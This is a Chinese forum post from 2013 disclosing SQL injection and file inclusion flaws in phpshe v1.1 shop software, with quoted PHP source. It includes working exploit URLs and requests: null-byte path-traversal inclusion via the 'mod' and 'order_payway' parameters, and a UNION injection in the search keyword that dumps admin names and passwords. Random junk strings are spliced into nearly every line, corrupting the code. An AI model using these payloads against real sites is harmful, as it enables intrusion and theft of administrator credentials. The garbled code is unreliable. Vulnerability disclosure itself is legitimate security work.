找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2562|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
2 R3 J  w2 q, T1 k8 O; O/* Phpshe v1.1 Vulnerability
; N* _  A* Z6 g& W1 L) h/* ========================! F' I' Q" }% f$ d$ P! _
/* By: : Kn1f3: k' N) q3 n% H1 R. I
/* E-Mail : 681796@qq.com& c) E0 }( z) p$ l  M- X
/*******************************************************/
6 j' e0 [. X8 ]6 `7 Z0×00 整体大概参数传输
% M8 w* S; z+ E4 L$ C " _+ O$ w; n1 y

1 p2 n0 b5 ?4 k: v1 c
4 r! h$ a& b" b0 i" ]6 T# d
//common.php; |! x1 \& L5 v# W
if (get_magic_quotes_gpc()) {. X# m3 `6 ~4 ^$ H- \2 _1 q+ h0 S
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');: i! K6 R  a% j; i4 o3 L, Y5 D$ B
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
  V: K5 n1 t! ?! m}
! W6 H( D( B4 u% Ielse {
' `& d9 s" z8 O: x!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');! B5 s, X6 N4 y1 H/ u, w
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
% f! _% p; Y9 T. k  h3 z4 J7 V* ?; a}/ s' u7 L7 Y1 ]1 e4 v7 O
session_start();
) ]% V0 T4 E, x2 A6 }!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
2 W( |: b- }* r2 K9 t+ o!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
+ G9 U+ J( w" u' l3 t( C$ E% X7 t* Y: p' v: a. {1 e
0×01 包含漏洞
( N# H9 u% ?# t' l * n* |0 {0 t' R" G5 H
! R- X) z2 V9 h+ I# W
//首页文件! J  D6 y3 r) H( j" C3 j
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);, R2 U( U4 W, j# f
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞: |1 W2 U5 S+ R
pe_result();9 H& h: N& c$ t% p
?>
  o8 ^) h5 B: b3 Q% [//common 文件 第15行开始
* y3 Y+ P5 K) a" [url路由配置# d6 l# L8 K$ X0 _; o* ~) G8 D
$module = $mod = $act = 'index';
2 B( i+ X3 T; p: P$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
2 g+ |- e2 m( ^4 x# R* L$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);; Z' a9 j" [5 j# B8 W! w/ X( U6 w
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);3 W$ o2 `2 r0 p" D' i/ e+ S' l
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
" }( F( G  d0 @4 Y3 r" A

8 O$ ^9 ]. U! O0 i* J  X; T. ?
1 e9 R& Q! P+ q
0×02 搜索注入
1 n( [8 |! [2 K2 ^( J; O# s " n! |% S" m% _2 n) P8 h' O) i6 B
<code id="code2">

//product.php文件3 m- d/ |5 N! \) E8 m4 L4 ~& d) Q
case 'list':+ X& G, L  l, s" `& H& M$ W/ l4 L
$category_id = intval($id);+ h/ @; i) G# h/ I0 V
$info = $db->pe_select('category', array('category_id'=>$category_id));
8 c* o  e" A$ D3 m//搜索
. f5 n$ U' v6 T$sqlwhere = " and `product_state` = 1";
  k: E- b3 b; |! {+ z7 u5 tpe_lead('hook/category.hook.php');8 ~; k9 }7 e' ?; W0 M
if ($category_id) {
5 q2 g1 j1 v$ u. H8 Lwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";/ a2 _6 v/ O8 A. F9 t2 ]$ v
}2 _$ q) `1 z( F3 P& e- B
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤8 J* o" |2 I9 w2 V% v
if ($_g_orderby) {% V) k3 u5 V  T5 i6 y% T: ~' k4 j8 L
$orderby = explode('_', $_g_orderby);
8 R! Q* j" q0 W$ I$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";, n( C% A6 V# Z9 [) \' a
}
1 a& W" Y% C8 M* ~else {
4 k& F$ t8 J, R; v2 Q) Y- A8 `$sqlwhere .= " order by `product_id` desc";' G! g2 {1 v9 F, j3 N
}
9 W$ N! a. r/ _  y5 S$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
! p. V# {3 a3 X; |9 v$ Q% v- o8 H//热卖排行" m5 ~7 \0 }% D8 t
$product_hotlist = product_hotlist();( c! s+ y3 C/ ^& ^, h1 L- p3 d
//当前路径. h+ O. t# G. w# \2 ^
$nowpath = category_path($category_id);/ `, G: A9 e! ]+ ?3 _( J6 `1 \
$seo = pe_seo($info['category_name']);' z' t6 p) N0 _3 u/ H. H* W/ I
include(pe_tpl('product_list.html'));
5 k3 P' \8 g3 @8 j! ~+ ~2 P//跟进selectall函数库, V3 n; b; B5 z, w
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array()); `3 S" g! E( w. w  L
{
6 L" y6 X1 O- [: ~//处理条件语句
% P) N# z& |& {/ x$sqlwhere = $this->_dowhere($where);6 }% d& Y. o0 W' D
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
: w2 Y3 H6 \+ ?! h8 C! G}
: u' i6 l" e' N9 d' B+ Y//exp
% I+ \2 H" Y8 r% s3 s% Gproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
; W! V5 l- v$ R, b8 _5 W

</code>
9 H, i' C% X! r . ?8 O7 J/ I9 O4 Q0 ^. o
0×03 包含漏洞2
1 f) J, h5 ]) G) }+ D  a. ^ ' I% q9 z0 \7 I9 ^  P& ?
<code id="code3">

//order.php

case 'pay':


& ^5 v2 }! y$ h5 B" d" k$order_id = pe_dbhold($_g_id);

/ @6 E$ a+ P, ?* C, @! X: b% @  f6 z
$cache_payway = cache::get('payway');


0 P) r4 f1 _6 s& Nforeach($cache_payway as $k => $v) {

5 D' o+ e1 c; ^3 \4 p9 x6 F
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


! o) F' q" g$ Q5 v, V6 X7 F8 S8 @if ($k == 'bank') {

( o7 z3 b* e$ I/ R5 [3 j
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


* n9 }* q" i. w8 ^3 P}

8 x: ^, q- E3 }. Y; _) s# u& _& `2 o
}


. X* c4 P% ^- F( L$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


1 Y; P0 H4 c' X!$order['order_id'] && pe_error('订单号错误...');


) |, H; C1 U! `' eif (isset($_p_pesubmit)) {

! S/ C6 X$ E7 @7 b" I2 O
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


4 q' F% p; `! l7 w$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


, Z- d1 K9 ~; t3 G3 z/ L+ mforeach ($info_list as $v) {

( D# o$ r% f# X/ J. L
$order['order_name'] .= "{$v['product_name']};";( F  N' f, d/ j0 m; d( ~: C

2 F5 {' W( h6 w. S+ ?* m& X4 q) t
}

, ^0 B7 O8 r2 K  u9 r2 P. Q* I
echo '正在为您连接支付网站,请稍后...';


# ~: L8 W1 q5 E3 ^$ \) i6 y5 winclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

) U- N- X' N0 F2 c
}//当一切准备好的时候就可以进行"鸡肋包含了"


1 n7 [( n$ f0 P, N7 J9 qelse {

2 b) ^& X4 P5 E' Y: K
pe_error('支付错误...');

2 l  ]6 N: x' Y/ x
}


& y* `7 M: q" r2 V0 Z0 u. a}

6 J  x& o3 j1 F* Z0 [( V
$seo = pe_seo('选择支付方式');


$ G2 r2 U$ ?% ^& j% ^include(pe_tpl('order_pay.html'));

% q1 w( J% B! J3 f/ c8 V
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
" G& l$ t& _, Y/ k: L4 j  F: Vhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表